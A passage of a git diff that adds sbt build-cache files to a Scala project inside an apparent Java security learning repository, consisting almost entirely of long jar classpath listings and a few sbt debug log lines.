t/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export new file mode 100644 index 00000000..c9499290 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/incOptions/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/incOptions/_global/streams/out new file mode 100644 index 00000000..49612aa9 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/incOptions/_global/streams/out @@ -0,0 +1,5 @@ +[debug] Created transactional ClassFileManager with tempDir = /Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes.bak +[debug] About to delete class files: +[debug] We backup class files: +[debug] Created transactional ClassFileManager with tempDir = /Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes.bak +[debug] Removing the temporary directory used for backing up class files: /Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes.bak diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/internalDependencyClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/managedClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/managedClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/scalacOptions/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/scalacOptions/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedClasspath/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedJars/_global/streams/export new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/unmanagedJars/_global/streams/export @@ -0,0 +1 @@ + diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/dependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/dependencyClasspath/_global/streams/export new file mode 100644 index 00000000..7078ef8f --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/dependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.